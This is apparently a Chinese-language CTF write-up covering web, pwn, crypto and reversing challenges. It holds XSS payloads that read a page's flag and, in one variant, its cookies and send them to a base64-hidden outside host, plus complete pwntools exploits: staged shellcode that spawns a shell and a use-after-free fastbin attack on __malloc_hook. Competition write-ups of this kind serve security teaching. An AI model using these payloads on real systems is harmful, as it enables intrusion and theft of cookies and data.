
Crypto
Lucky Numbers
- (2**(t-1))*(2**(t)-1) == s == sum(factor(s))
- 因为 t < 42,直接构造所有可能即可
Web
encoding
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
import base91
import binascii
import base64
import re
# 1.<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
# 2.<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
# 3.<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
# 4.<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
# 5.<script>eval("\141\154\145\162\164\050\061\051")</script>
# 6.<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
def timu(text):
if not (re.match(r"^[a-f0-9]+$", text) and len(text) % 2 == 0):
result = text.encode()
else:
result = bytes.fromhex(text)
encoded = base91.encode(result)
return encoded
# data = based91.decode("<script>alert(1)</script>")
# data = based91.decode("<script>self[\"window\"][\"location\"]=atob(\"aHR0cDovL2JnYjVlaC5jZXllLmlvP2E9\")+self[\"document\"][\"cookie\"]</script>12")
base64_str = base64.b64encode("alert(1)".encode("utf-8")).decode()
print(base64_str)
# data = based91.decode("<script>self[\"document\"][\"location\"]=\"/\";a=self[\"document\"][\"getElementsByTagName\"](\"a\")[4][\"text\"];self[\"window\"][\"location\"]=\"/e/\"+a;flag=self[\"window\"][\"getElementsByClassName\"](\"subtitle\")[0][\"innerText\"];fetch(atob(\"aHR0cDovL2JnYjVlaC5jZXllLmlvP2E9\")+btoa(flag))</script>12")
data = base91.decode('<script>\
frame1=self["document"]["createElement"]("iframe");\
self["frame1"]["src"]="/";\
self["frame1"]["onload"]=()=>{\
url=self["frame1"]["contentWindow"]["document"]["getElementsByTagName"]("a")[4]["text"];\
frame2=self["document"]["createElement"]("iframe");\
self["frame2"]["src"]="/e/"+url;\
self["frame2"]["onload"]=()=>{\
flag=self["frame2"]["contentWindow"]["document"]["getElementsByClassName"]("subtitle")[0]["innerHTML"];\
self["document"]["location"]=atob("aHR0cDovL2JnYjVlaC5jZXllLmlvLz8=")+flag;\
};\
self["document"]["body"]["appendChild"](frame2);\
};\
self["document"]["body"]["appendChild"](frame1);\
</script>11\
')
print(data)
hex_data = binascii.hexlify(data).decode()
print(hex_data)
print(timu(hex_data))
|
Pwn
Destiny Numbers
漏洞审计
本题是一个直接执行 shellcode 的格式。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
char **p_lineptr; // rdi
unsigned int v4; // ecx
__int64 v5; // rax
int i; // [rsp+1Ch] [rbp-24h]
char *lineptr; // [rsp+20h] [rbp-20h] BYREF
size_t n; // [rsp+28h] [rbp-18h] BYREF
__ssize_t v10; // [rsp+30h] [rbp-10h]
unsigned __int64 v11; // [rsp+38h] [rbp-8h]
v11 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("Welcome to Destiny Digits!");
puts("I can get a glimpse of your destiny, but first I need your lucky numbers.");
printf("What's your lucky number? ");
digit_pos = 0LL;
lineptr = 0LL;
do
{
n = 0LL;
p_lineptr = &lineptr;
v10 = getline(&lineptr, &n, stdin);
if ( v10 == -1 )
{
puts("Failed to read line from stdin");
exit(-1);
}
if ( v10 > 0 && lineptr[v10 - 1] == 10 )
lineptr[--v10] = 0;
if ( !v10 )
break;
v4 = strtol(lineptr, 0LL, 10);
v5 = digit_pos++;
destiny_digits[v5] = v4;
p_lineptr = (char **)"Got another one? ";
printf("Got another one? ");
}//输入最多0x7f个int类型的数字(无溢出漏洞,都会被转换成unsiged int)
while ( (unsigned __int64)digit_pos <= 0x7F );
if ( !digit_pos )
{
puts("You don't have any lucky numbers? That's unlucky!");
exit(-1);
}
sort(p_lineptr);//排序,排序规则比较特殊一会会说
puts("Here are your lucky numbers again, I even ordered them for you:");
for ( i = 0; i < (unsigned __int64)digit_pos; ++i )
printf("%u\n", destiny_digits[i]);
puts(aNowLetSSeeWhat);
peek_at_destiny(aNowLetSSeeWhat);//执行shellcode,固定存入将所有除rsp和rip以外寄存器全部清零的汇编语句
return 0;
}
|
main 函数中主要是进行了读入,调用 sort 排序以及调用 shellcode 执行的函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
unsigned __int64 sort()
{
unsigned int v1; // [rsp+4h] [rbp-2Ch] BYREF
unsigned int v2; // [rsp+8h] [rbp-28h] BYREF
int i; // [rsp+Ch] [rbp-24h]
int j; // [rsp+10h] [rbp-20h]
unsigned int k; // [rsp+14h] [rbp-1Ch]
unsigned int *v6; // [rsp+18h] [rbp-18h]
unsigned int *v7; // [rsp+20h] [rbp-10h]
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
for ( i = 0; i < (unsigned __int64)digit_pos; ++i )
{
for ( j = i + 1; j < (unsigned __int64)digit_pos; ++j )
{
v1 = destiny_digits[i];
v2 = destiny_digits[j];
v6 = &v1;
v7 = &v2;
for ( k = 0; k <= 3; ++k )
{
if ( *((_BYTE *)v7 + (int)k) < *((_BYTE *)v6 + (int)k) )
{
destiny_digits[i] = v2;
destiny_digits[j] = v1;
break;
}
if ( *((_BYTE *)v6 + (int)k) < *((_BYTE *)v7 + (int)k) )
break;
}
}
}
return v8 - __readfsqword(0x28u);
}
|
sort 排序机制
他是将每个输入的数字进行排序(类似冒泡排序),但是比较的机制是逐字节对比,而且是反过来(这个是在第一次写了还是被排乱了才理解到的。(从后面的字节到前面的字节)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
__int64 peek_at_destiny()
{
_QWORD *v1; // [rsp+8h] [rbp-18h]
v1 = mmap(0LL, 0x226uLL, 7, 34, -1, 0LL);
if ( v1 == (_QWORD *)-1LL )
{
puts("Failed to allocate destiny memory");
exit(-1);
}
*v1 = null_registers;
v1[1] = 0x4DC0314DF631FF31LL;
v1[2] = 0xDB314DD2314DC931LL;
v1[3] = 0x314DED314DE4314DLL;
*(_QWORD *)((char *)v1 + 30) = 0xED31FF314DF6314DLL;
memcpy((char *)v1 + 38, destiny_digits, 0x200uLL);
return ((__int64 (*)(void))v1)();
}
|
这个函数就是申请 wx 区域,然后把前面那一串机器码写上去(实际上就是 xor rax,rax;xor rbx,rbx 之类的),也就是前面说的把其他寄存器都清零,最后执行 jmp 到你的 shellcode 上。
直接讲思路:
因为要保证你的几个数是按他需求的顺序排布的,首先要尽量简短,其次要在其中插入 nop 或者其他指令来保证你的 shellcode 不会被他排好序(一个正常的 shellcode 是绝对不会符合他的要求的)
最重要的是,如果要调用 execve(’/bin/sh’,0,0)是不行的(我写出来过,当时 gdb 都运行了,显示传参是无误的,但没有执行)

所以说想了另一个简短的 shellcode,而且保证可以让你再写一次 shellcode(第二次直接用 shellcraft 的 shellcode 都行)也就是如下 shellcode:
1
2
3
4
5
6
|
mov rdx,0x4900
mov rsi,[rsp+0x10]
nop
nop
add rsi,0x3a
syscall
|

前五个就是给他的数字,从最后一位往前,能保证是顺序的。
这个 shellcode 就是再执行一次 read(这个 0x4900 是没有办法,必须得保证输入要求不被排乱才写的)最后其实应该有个 jmp,但是当时是因为我在 gdb 里面看到了 rsp+0x10 的位置储存了 rwx 位置的地址,所以说可以直接写到指定位置!连 jmp 都不需要了(栈就看我上面 gdb 那个图吧)
然后后面直接用 shellcraft 写的,shellcraft.sh 出手基本必 getshell
完整 exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
from pwn import
*
context(log_level='debug',arch='amd64',os='linux')
#io=process('./destiny_digits')
io=remote('flu.xxx',10110)
#print(shellcraft.read(0,'r8',0x100))
print('sh',hex(u64(b'sh'.ljust(8,b'\x00'))))
#0x68732f6e69622f
shellcode=asm(
'''
mov rdx,0x4900
mov rsi,[rsp+0x10]
nop
nop
add rsi,0x3a
syscall
'''
)
shellcode=shellcode.ljust(28,b'\x00')
first=u32(shellcode[0:4])
print('first',hex(first))
second=u32(shellcode[4:8])
print('second',hex(second))
third=u32(shellcode[8:12])
print('third',hex(third))
fourth=u32(shellcode[12:16])
print('fourth',hex(fourth))
fifth=u32(shellcode[16:20])
print('fifth',hex(fifth))
sixth=u32(shellcode[20:24])
print('sixth',hex(sixth))
seventh=u32(shellcode[24:28])
print('seventh',hex(seventh))
io.sendline(str(first))
io.sendline(str(second))
io.sendline(str(third))
io.sendline(str(fourth))
io.sendline(str(fifth))
#io.sendline(str(sixth))
#io.sendlien(str(seventh))
#gdb.attach(io)
io.sendline()
io.recvuntil(b'for you:')
#io.interactive()
shellcode=shellcraft.open('/flag')
shellcode+=shellcraft.read(3,'r12',0x30)
shellcode+=shellcraft.write(1,'r12',0x30)
shellcode=shellcraft.sh()
io.send(asm(shellcode).ljust(0x4900,b'\x00'))
io.interactive()
|
取得 shell:

New House
一道菜单堆题
允许申请 8 个堆块 free 一次
开局会给一个基址 那么就不用考虑泄露了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
v3 = leak();
printf("interesting in the ground: %p\n", v3);
unsigned __int64 __fastcall delete_room(__int64 a1)
{
unsigned int v2; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( dword_404034 == 1 )
{
puts("you are not allowed to delete rooms anymore");
}
else
{
printf("roomnumber? ");
__isoc99_scanf("%d", &v2);
if ( state > v2 && <em>(32LL * v2 + a1 + 16) )
{
</em>* free(*(32LL * v2 + a1 + 16));
++dword_404034;
}
else
{
puts("roomnumber invalid");
}
}
return __readfsqword(0x28u) ^ v3;
}
|
delete 函数 free 后未将指针置 0 存在 UAF 漏洞 又有 edit 函数 可直接构造 fakefastbin 打__malloc_hook
同时
onegadget 存在符合条件的 直接利用 获取 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
from pwn import*
p=remote('flu.xxx',10170)
#p=process("./new_house")
context.log_level='debug'
elf=ELF("new_house")
libc=elf.libc
def debug():
gdb.attach(p)
pause()
def cmd(idx):
p.sendline(str(idx))
def create(name,size):
cmd(1)
p.sendlineafter("roomname? ",name)
p.sendlineafter("ize? ",str(size))
def delete(idx):
cmd(2)
p.sendlineafter("oomnumber? ",str(idx))
def edit(idx,content):
cmd(3)
p.sendlineafter("umber? ",str(idx))
p.sendlineafter("he room? ",content)
p.recvuntil(b'0x')
base=int(p.recv(12),16)
print(hex(base))
malloc=base+libc.symbols["__malloc_hook"]-0x23
create(b'aaaa',0x18)
edit(0,b'a'*0x17)
create(b'aaaa',0x68)
create(b'aaaa',0x18)
delete(1)
edit(1,p64(malloc))
create(b'aaaa',0x68)
'''
0x40e36 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x40e8a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xde321 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
'''
#create(b'a'*0x13+p64(base+0x40e36),0x68)
create(b'fake',0x68)
edit(4,b'a'*0x13+p64(base+0x40e8a))
create(b'aaaa',0x18)
p.interactive()
|
Re
DOki Doki Anticheat
附件为 DDLC 的存档文件,谷歌得出其 C 盘存档位置,置换后打开存档

判断需要更改存档属性以绕过防作弊检测。另开一存档并提取数据与此存档进行比对,需要更改 Anticheat 属性。利用在线网站可以直接更改 https://www.saveeditonline.com/

将改过的存档覆盖,再次读取,即可得到 flag。